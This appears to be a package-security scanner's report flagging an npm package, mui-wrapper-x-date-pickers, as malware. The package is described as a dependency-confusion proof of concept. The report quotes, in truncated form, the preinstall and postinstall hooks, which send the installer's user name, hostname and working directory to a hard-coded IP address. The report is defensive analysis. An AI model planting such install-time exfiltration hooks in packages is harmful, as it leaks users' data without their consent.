mui-wrapper-x-date-pickers@1.0.0
Benign security placeholder / dependency-confusion PoC, no functional code. See Moveworks bug bounty report.
AI Security Review
scanned 9d ago · by lpm-firewall-aiThe preinstall and postinstall hooks automatically transmit identifying environment details to a fixed external endpoint, with no consent guard in the source. The README's research-purpose claim does not establish installer consent, so this is a concrete installation-time disclosure.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Package installation runs the preinstall or postinstall hook.
Impact
The recipient learns identifying details about the environment that installed the package.
Mechanism
Each hook sends an HTTP GET to 38.242.235.206 with the user name, hostname, and working directory in the URL.
Attack narrative
During installation, either lifecycle hook sends the user name, hostname, and working directory to a hard-coded external address. The README describes this as a research proof of concept, but that claim does not establish consent from package installers. The package's main entrypoint is empty and does not change the install-time disclosure.
AI rationale
The preinstall and postinstall hooks automatically transmit identifying environment details to a fixed external endpoint, with no consent guard in the source. The README's research-purpose claim does not establish installer consent, so this is a concrete installation-time disclosure.
Evidence
package.json
Network endpoints2
38.242.235.206/depconf/mui-wrapper-x-date-pickers/preinstall38.242.235.206/depconf/mui-wrapper-x-date-pickers/postinstall
Decision evidence
public snapshotAI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines a preinstall hook that sends the user name, hostname, and working directory to 38.242.235.206.
- package.json defines a postinstall hook that sends the same identifying data to 38.242.235.206.
- README.md confirms the install hooks send those identifiers; it does not establish installer consent.
- index.js exports an empty object and does not provide a functional date-picker API.
Evidence against
- README.md describes the install request as a bug-bounty proof of concept, but this description does not show that package installers consent to the disclosure.
Behavioral surface
Trivial
Source & flagged code
7 flaggedpackage.jsonView file
•scripts.preinstall = node -e "require('http').get('http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURI...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "require('http').get('http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/postinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeUR...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "require('http').get('http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/postinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeUR...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgFindings
2 Critical5 High1 Low
CriticalRed Install Lifecycle Scriptpackage.json
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Lifecycle EvidenceREADME.md
HighAi Review Evidenceindex.js
LowScripts Present
Affected versions and remediation
This report applies to mui-wrapper-x-date-pickers@1.0.0.
See all versions of mui-wrapper-x-date-pickers for other recorded verdicts.
- Avoid installing mui-wrapper-x-date-pickers@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.